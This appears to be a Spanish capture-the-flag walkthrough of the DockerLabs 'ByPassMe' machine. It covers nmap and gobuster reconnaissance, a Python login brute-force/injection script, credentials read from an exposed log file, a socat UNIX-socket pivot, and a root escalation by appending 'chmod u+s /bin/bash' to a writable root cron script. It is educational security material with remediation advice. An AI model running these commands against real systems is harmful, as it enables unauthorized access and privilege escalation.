ByPassMe
Introducción
Sección titulada «Introducción»En este artículo se documenta la resolución completa de la máquina virtual ByPassMe, creada por RSA y catalogada como fácil en la plataforma DockerLabs. El propósito es ofrecer una guía reproducible y didáctica, explicando qué se hizo, por qué se realizó cada acción y cómo detectar patrones similares en otros entornos.
El proceso se divide en tres fases principales:
- Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
- Explotación – Obtención de acceso inicial mediante vulnerabilidad de autenticación.
- Escalada de privilegios – Abuso de configuraciones inseguras (
sudo, cron jobs, manipulación delPATH) para alcanzar privilegios deroot.
⚠️ Aviso: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de laboratorios o entornos autorizados.
Información general
Sección titulada «Información general»| Atributo | Detalle |
|---|---|
| Nombre | ByPassMe |
| Autor | RSA |
| Dificultad | Fácil |
| Fecha de creación | 30/05/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»-
Descomprimir el paquete descargado desde DockerLabs:
Ventana de terminal unzip ByPassMe.zip -
Desplegar el contenedor con el script incluido:
Ventana de terminal sudo bash auto_deploy.sh ByPassMe.tar
El script levantará automáticamente un contenedor Docker con los servicios necesarios y mostrará la IP asignada al finalizar. Guarda esta dirección, ya que se usará a lo largo del proceso de explotación.
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización de trabajo
Sección titulada «1.1 Organización de trabajo»Para mantener un entorno de trabajo limpio y ordenado, creamos una estructura de directorios:
mkdir -p ByPassMe/{content,exploits,nmap,scripts}cd ByPassMeConsejo: Documentar y organizar cada hallazgo desde el inicio facilita el análisis y la posterior redacción del reporte.

1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un escaneo completo con Nmap para descubrir los servicios activos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsLuego extraemos los puertos detectados con un script auxiliar (extractPorts) o manualmente:
extractPorts allPorts
Servicios identificados:
- Puerto
22– SSH - Puerto
80– HTTP
Estos resultados sugieren que el vector inicial probablemente se encuentre en el servicio web.
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Procedemos con Gobuster para enumerar directorios y archivos accesibles desde el sitio web:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200 -o gobuster.txt
Rutas encontradas:
/index.php/login.php
/welcome.php/logs
Todas las rutas redirigen al formulario de inicio de sesión, lo que sugiere que el acceso está protegido por autenticación. Este será nuestro primer punto de ataque.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»El nombre de la máquina, “ByPassMe”, sugiere que la vulnerabilidad está relacionada con un bypass de login, probablemente mediante una inyección SQL (SQLi).
Para automatizar pruebas de inyección en el campo password, se desarrolló el siguiente script en Python:
import requests
def brute_force_password(password_list): burp0_url = "http://172.17.0.2:80/login.php" burp0_headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64)", "Accept": "text/html,application/xhtml+xml" }
for password in password_list: burp0_data = {"username": "test", "password": password.strip()}
try: response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) print(f"Probando: {password.strip()} - Status: {response.status_code} - Longitud: {len(response.content)}")
if any(word in response.text for word in ["Bienvenido", "Dashboard", "logout"]): print(f"[+] CONTRASEÑA ENCONTRADA: {password}") return password
except Exception as e: print(f"Error con {password}: {e}")
print("[-] Contraseña no encontrada") return None
with open('dictionary.txt', 'r') as f: passwords = f.readlines()
brute_force_password(passwords)Aunque el script no muestra el éxito directamente en consola, si se captura una cookie de sesión válida, se puede reutilizar en el navegador para acceder al panel. Al hacerlo, se logra el bypass del login:

A continuación, enumeramos el directorio /logs.
No se permite el listado directo, por lo que recurrimos al fuzzing con FFUF:

Encontramos el archivo logs.txt, visible desde el navegador:

En su contenido aparecen credenciales en texto plano del usuario albert, que nos permiten iniciar sesión por SSH:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»Una vez dentro del sistema como albert, iniciamos la enumeración de procesos y configuraciones.
Con el comando ps aux, observamos un proceso socat escuchando conexiones locales:

Podemos aprovecharnos de esto para conectarnos al socket UNIX del usuario conx:
socat - UNIX-CONNECT:/home/conx/.cache/.sockLa conexión nos otorga una nueva sesión como el usuario conx:

3.2 Escalada final a root
Sección titulada «3.2 Escalada final a root»Repetimos la enumeración con ps aux y detectamos un proceso cron ejecutado por root:

Listamos las tareas programadas en /etc/cron.d/:
ls -la /etc/cron.d/Identificamos un archivo interesante llamado backup-cron con el siguiente contenido:
* * * * * root bash /var/backups/backup.shEste cron ejecuta un script editable por usuarios comunes, lo cual constituye una grave vulnerabilidad. Podemos modificarlo para escalar privilegios insertando un comando malicioso:
echo "chmod u+s /bin/bash" >> /var/backups/backup.shTras esperar un minuto, el cron ejecutará nuestro cambio. Finalmente, obtenemos una shell privilegiada con:
bash -p¡Acceso root conseguido!

Conclusión y aprendizajes
Sección titulada «Conclusión y aprendizajes»Cadena de explotación (resumen)
Sección titulada «Cadena de explotación (resumen)»- Login Bypass mediante inyección SQL.
- Extracción de credenciales desde un archivo log accesible públicamente.
- Movimiento lateral usando un socket UNIX interno (socat).
- Escalada de privilegios explotando un script
croncon permisos inseguros.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»- Formularios web vulnerables a inyección SQL.
- Archivos sensibles (
logs.txt) expuestos públicamente. - Permisos incorrectos en scripts del sistema (
backup.sh). - Falta de segregación de usuarios y validación de procesos en background.
Recomendaciones (remediación)
Sección titulada «Recomendaciones (remediación)»- Implementar filtrado de entrada y consultas parametrizadas en el backend.
- Restringir acceso a directorios web y archivos de registro.
- Revisar permisos de ejecución y propiedad de scripts automatizados.
- Configurar auditorías periódicas de tareas
crony procesos persistentes. - Separar entornos de desarrollo y producción para minimizar exposición.